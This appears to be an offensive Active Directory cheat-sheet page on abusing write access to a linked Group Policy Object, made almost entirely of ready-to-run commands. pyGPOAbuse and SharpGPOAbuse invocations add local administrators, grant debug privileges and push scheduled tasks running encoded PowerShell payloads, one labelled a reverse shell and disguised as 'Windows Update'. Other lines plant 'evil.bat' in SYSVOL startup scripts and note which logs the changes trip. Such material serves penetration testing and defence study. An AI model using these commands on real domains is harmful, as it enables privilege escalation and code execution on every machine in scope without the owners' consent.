GPLink

A GPO is linked to the target OU/Site/Domain. If an attacker controls the GPO, modifications affect all computers and users in scope of the link.

Applies to: GPO β†’ OU/Domain/Site


Note

GPLink is an abuse path when you have write access to the linked GPO (via GenericAll, GenericWrite, or owns the GPO object). Modifications to the GPO affect all computers/users in the linked container.


Linux Abuse

pyGPOAbuse β€” Add local admin

pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -localadmin <username>

pyGPOAbuse β€” Scheduled task (reverse shell)

pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -taskname 'Update' -command 'cmd.exe /c powershell -e <base64-payload>' -description 'Windows Update'

pyGPOAbuse β€” Immediate scheduled task (runs now)

pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -taskname 'Update' -command 'cmd.exe /c whoami > C:\out.txt' -immediate

Get GPO GUID from BloodHound or ldapsearch

ldapsearch -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' -b 'DC=<domain>,DC=<tld>' '(objectClass=groupPolicyContainer)' displayName cn

Force group policy refresh on target

# Via wmiexec after gaining access
wmiexec.py <domain>/<username>:'<password>'@<target-computer> 'gpupdate /force'

Windows Abuse

SharpGPOAbuse β€” Add local admin

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <username> --GPOName "<gpo-name>"

SharpGPOAbuse β€” Add user right (e.g., SeDebugPrivilege)

SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege,SeLoadDriverPrivilege" --UserAccount <username> --GPOName "<gpo-name>"

SharpGPOAbuse β€” Scheduled task for all computers in scope

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -e <base64-payload>" --GPOName "<gpo-name>"

SharpGPOAbuse β€” Scheduled task for all users in scope

SharpGPOAbuse.exe --AddUserTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -e <base64-payload>" --GPOName "<gpo-name>"

Force GPO refresh (PowerShell)

Invoke-GPUpdate -Computer <target-computer> -Force
Get-DomainGPO -Identity '<gpo-name>' | Get-DomainGPOLinkedOU
Get-DomainOU | Get-DomainGPOLinkedOU

Edit GPO directly (RSAT)

# If you have write rights on the GPO SYSVOL path:
# \\<domain>\SYSVOL\<domain>\Policies\{<gpo-guid>}\Machine\Scripts\Startup\
Copy-Item evil.bat "\\<domain>\SYSVOL\<domain>\Policies\{<gpo-guid>}\Machine\Scripts\Startup\evil.bat"

Opsec

  • GPO changes generate Event ID 5136 on the DC
  • Policy applies on next refresh interval (default 90 min Β± 30 min for computers, 90 min for users) or immediately with gpupdate /force
  • Immediate scheduled tasks run once then delete β€” lower persistence but fast execution
  • SharpGPOAbuse modifies SYSVOL β€” file write operations are logged by file auditing if enabled